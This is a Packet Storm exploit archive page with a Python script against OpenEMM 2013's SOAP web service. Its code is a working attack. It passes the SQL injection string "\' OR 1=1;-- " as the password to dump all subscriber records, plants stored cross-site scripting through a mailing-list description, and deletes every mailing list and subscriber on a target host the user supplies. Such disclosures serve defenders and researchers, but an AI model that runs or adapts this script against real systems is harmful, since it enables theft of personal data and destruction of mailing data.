what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenEMM-2013 8.10.380.hf13.0.066 Cross Site Scripting / SQL Injection

OpenEMM-2013 8.10.380.hf13.0.066 Cross Site Scripting / SQL Injection
Posted Jul 29, 2013
Authored by drone

OpenEMM-2013 version 8.10.380.hf13.0.066 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 14456af2c9a5b9e11fb7313fb343d5a731c447e6b28ffc4391db130a2ff55411

OpenEMM-2013 8.10.380.hf13.0.066 Cross Site Scripting / SQL Injection

Change Mirror Download
import os
import sys
from SOAPpy import WSDL
from argparse import ArgumentParser
from re import sub

# Exploit Title: OpenEMM 2013 SQL Injection / Stored XSS
# Date: 07/20/2013
# Exploit Author: drone (@dronesec)
# More information (and required WSDL file):
# http://forelsec.blogspot.com/2013/07/openemm-2013-810380hf130066-soap-sql.html
# Vendor Homepage: http://www.openemm.org/
# Software Link: https://downloads.sourceforge.net/project/openemm/OpenEMM%20software/OpenEMM%202013/OpenEMM-2013-bin.tar.gz
# Version: 2013 (8.10.380.hf13.0.066)
# Tested on: Ubuntu 12.04

""" Exploits a host of vulnerabilities discovered in OpenEMM.
Required ws.wsdl file should be in local directory.
"""
def run(options):
""" run exploit
"""
wsdl_file = "./ws.wsdl"
sploit = "\\' OR 1=1;-- "

_server = WSDL.Proxy(wsdl_file)

if options.subscribers:
# iterate until we get a null response
idx = 1
while True:
ret = _server.getSubscriber("wsadmin", sploit, idx)
if ret.paramValues == '':
print '[!] Discovered %d subscribers'%(idx-1)
break

print ret.paramValues
idx += 1

elif options.mlist:
try:
print '[!] Description field vulnerable to stored xss!'
description = raw_input('[!] Enter mlist description: ')
except:
description = ''

ret = _server.addMailinglist('wsadmin', sploit, options.mlist, description)
if ret > 0: print '[!] Saved successfully'
else: print '[!] Save unsuccessful'

elif options.dmlist:
print '[!] Deleting all mailing lists...'
idx = 1
while True:
ret = _server.deleteMailinglist('wsadmin', sploit, idx)
if ret == 0:
print '[!] Deleted %d mailing lists.'%idx
break
idx += 1

elif options.dsubs:
print '[!] Deleting all subscribers...'
idx = 1
while True:
ret = _server.deleteSubscriber('wsadmin', sploit, idx)
if ret == 0:
print '[!] Deleted %d subscribers.'%idx
break
idx += 1

def parse_args():
""" parse args and sub in the desired IP
"""
parser = ArgumentParser()
parser.add_argument('-i', help='server address', action='store',
dest='host', required=True)
parser.add_argument('-s', help='fetch all subscribers', action='store_true',
dest='subscribers')
parser.add_argument('-m', help='create new mailing list (XSS)', action='store',
dest='mlist')
parser.add_argument('--dm', help='delete all mailing lists', action='store_true',
dest='dmlist')
parser.add_argument('--ds', help='delete all subscribers', action='store_true',
dest='dsubs')

options = parser.parse_args()
try:
# sub in server address
with open('ws.wsdl', 'r') as f:
out = open('tmp.wsdl', 'w+')
for line in f:
line = sub('location="(.*?)"',
'location="http://{0}:8080/emm_webservice"'.format(options.host),
line)
out.write(line)
out.close()
except IOError:
print '[-] ws.wsdl not found'
sys.exit(1)

# replace ws.wsdl with temp one
os.system('mv tmp.wsdl ws.wsdl')
return options

if __name__ == "__main__":
options = parse_args()
run(options)


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close